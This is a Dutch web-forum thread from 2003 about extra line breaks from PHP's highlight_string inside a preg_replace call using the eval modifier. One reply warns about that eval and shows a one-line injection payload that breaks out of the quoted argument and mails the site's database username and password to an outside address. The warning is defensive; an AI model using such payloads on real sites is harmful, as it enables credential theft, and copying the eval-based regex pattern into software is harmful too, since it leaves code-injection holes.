[php] syntax highlighting met extra enter?

Pagina: 1
Acties:

Onderwerpen


Acties:
  • 0 Henk 'm!

  • TangLeFuzZ
  • Registratie: Juni 2001
  • Laatst online: 28-05-2024
Hey,

ik zit met een klein probleem, maar ik kom er maar niet uit.
Als ik m'n highlight functie uitvoer op een stuk tekst, dan gaat het goed, dan komt hij er gewoon uit, maar zodra ik hem in de volgende regex plaats en dus iets tussen [ php] en [ /php] wil gaan vervangen verschijnen er bij de < code> tag en < /code> tag extra enters waardoor m'n regelnummering niet meer klopt. (boven- en onderaan de code komt dus een witregel te staan, 5 regels code geeft 7 regels terug).

Dit spuugt ie uit na highlighting:
<code><font color="#000000"><br>

Die extra enter moet er dus niet bij zitten.
M'n regex ziet er zo uit:

PHP:
1
2
3
<?
$inhoud = preg_replace("!\\[php\](.*?)\\[/php\]!ise","highlightCode('\\1')",$inhoud);
?>


Als jullie denken dat het hier niet aan kan liggen zal ik m'n highlight functie ook nog wel ff posten.

Een ander probleem waar ik nog mee zit is dat hij smilies in m'n stukken php code gaat zitten plaatsen, maar ik denk dat ik daar zometeen nog wel uit kom :)
Zit alleen al te lang te kloten met bovenstaande dat ik er gek van word....

[ Voor 16% gewijzigd door TangLeFuzZ op 24-01-2003 21:31 ]


Acties:
  • 0 Henk 'm!

  • kvdveer
  • Registratie: November 2000
  • Laatst online: 07-11-2023

kvdveer

Z.O.Z.

TangLeFuzZ schreef op 24 January 2003 @ 21:30:
Als jullie denken dat het hier niet aan kan liggen zal ik m'n highlight functie ook nog wel ff posten.
Ik vermoed dat het aan die highlight-functie zit, want in de geposte code zit het niet. Voordat je het scherm hier gaat vervuilen met veel te lange code zonder extra informatie - ga eens wat debug-statement (wat echo en zo) plaatsen en vogel op die manier uit waar die <br> wordt toegevoegd.

Extra noot. Het is misschien onverstandig eval te gebruiken (in dit geval verstopt in je regexp)

Bedenk wat er gebeurt als ik de volgende code hightlight:
PHP:
1
 '); mail('mijnadres@hotmail',$dbpassword,$dbusername); echo ('


(dat mailt mij jou gebruikersnaam en wachtwoord toe... Verzin zelf wat dat nog meer kan doen... |:(

[ Voor 5% gewijzigd door kvdveer op 24-01-2003 21:56 ]

Localhost, sweet localhost


Acties:
  • 0 Henk 'm!

  • chem
  • Registratie: Oktober 2000
  • Laatst online: 11-09 11:19

chem

Reist de wereld rond

Nee, want die ' wordt door preg ge-escaped :)
jammer, u gaat niet door voor de bonusvraag :P

Klaar voor een nieuwe uitdaging.


Acties:
  • 0 Henk 'm!

  • kvdveer
  • Registratie: November 2000
  • Laatst online: 07-11-2023

kvdveer

Z.O.Z.

chem schreef op 24 January 2003 @ 21:54:
Nee, want die ' wordt door preg ge-escaped :)
jammer, u gaat niet door voor de bonusvraag :P
Hmm... Dat was me onbekend. Mag ik die koelkast alsnog?

Localhost, sweet localhost


Acties:
  • 0 Henk 'm!

  • TangLeFuzZ
  • Registratie: Juni 2001
  • Laatst online: 28-05-2024
kvdveer schreef op 24 January 2003 @ 21:43:
Ik vermoed dat het aan die highlight-functie zit, want in de geposte code zit het niet. Voordat je het scherm hier gaat vervuilen met veel te lange code zonder extra informatie - ga eens wat debug-statement (wat echo en zo) plaatsen en vogel op die manier uit waar die <br> wordt toegevoegd.
Daar ben ik al vrij druk mee bezig geweest en het wijst erop dat het in de php highlight functie gebeurd.

Als ik m'n $tekst variabele namelijk echo voor die functie zit die extra enter er niet in, ik echo hem bijvoorbeeld tussen --- en ---, als ik alles wat daar tussen zit uit de bron haal en in m'n text editor plak heb ik exact 5 regels.
Doe ik hetzelfde met de $tekst variabele na de highlight_string functie, dan heeft hij na de <code><font ...> tag een enter toegevoegd.

Acties:
  • 0 Henk 'm!

  • TangLeFuzZ
  • Registratie: Juni 2001
  • Laatst online: 28-05-2024
Ik denk dat jullie zo ook niet kunnen ruiken wat er mis gaat, dus ik zal m'n highlight functie maar even posten :)

Ik gebruik ten eerste deze functie om de html codes weer recht te zetten:

PHP:
1
2
3
4
5
6
7
<?
function decodeHTML($string) {
    $string = strtr($string, array_flip(get_html_translation_table(HTML_ENTITIES)));
    $string = preg_replace("/&#([0-9]+);/me", "chr('\\1')", $string);
    return $string;
}
?>


PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?
highlightCode($tekst) { 
    // text fixen
    $tekst = decodeHTML($tekst); 
    $tekst = stripslashes($tekst); 
    $tekst = eregi_replace("((\n)[[:space:]]*){2,}", "\n", $tekst);
    
    // highlighten 
    ob_start(); 
    highlight_string($tekst);
    $tekst = ob_get_contents(); 
    ob_end_clean();
    
    // te highlighten text splitten
    $gesplit = explode("\r",$tekst);
    $grote = count($gesplit);
    
    // * zie hieronder
    return $code;
}
?>


* op deze plek zet ik de code in een tabel met regelnummering, ik weet alleen 100% zeker dat de enters daar niet worden veroorzaakt dus leek het me overbodig om die meuk er tussen te zetten :)

Nog even voor de duidelijkheid: ik voer het geheel dus uit met de volgende regex:

PHP:
1
2
3
<?
$inhoud = preg_replace("!\\[php\](.*?)\\[/php\]!ise","highlightCode('\\1')",$inhoud);
?>

[ Voor 15% gewijzigd door TangLeFuzZ op 24-01-2003 22:38 ]


Acties:
  • 0 Henk 'm!

  • TangLeFuzZ
  • Registratie: Juni 2001
  • Laatst online: 28-05-2024
Hmmm, niemand een idee?

sorry voor dit domme bumpen :)

Acties:
  • 0 Henk 'm!

  • Mithrandir
  • Registratie: Januari 2001
  • Laatst online: 13-09 21:40
Je explode de text op /r. Als je dit veranderd in /n, werkt het misschien wel?

Verbouwing


Acties:
  • 0 Henk 'm!

  • killercow
  • Registratie: Maart 2000
  • Laatst online: 12:47

killercow

eth0

explode eens op /n/r

/n is geloof ik een unix page break
/r is windows
of /n/r is windows
try it zou ik zeggen

openkat.nl al gezien?


Acties:
  • 0 Henk 'm!

  • TangLeFuzZ
  • Registratie: Juni 2001
  • Laatst online: 28-05-2024
Hmmm, ik heb allerlei combinaties uitgeprobeerd, maar ze geven allemaal 1 regel terug met de hele code erin, behalve \r.

\r was trouwens een typefout van me, ik wilde natuurlijk /r gebruiken, ik zie net dat /r ook 1 regel terug geeft, \r geeft wel het goeie aantal regels terug :?
Pagina: 1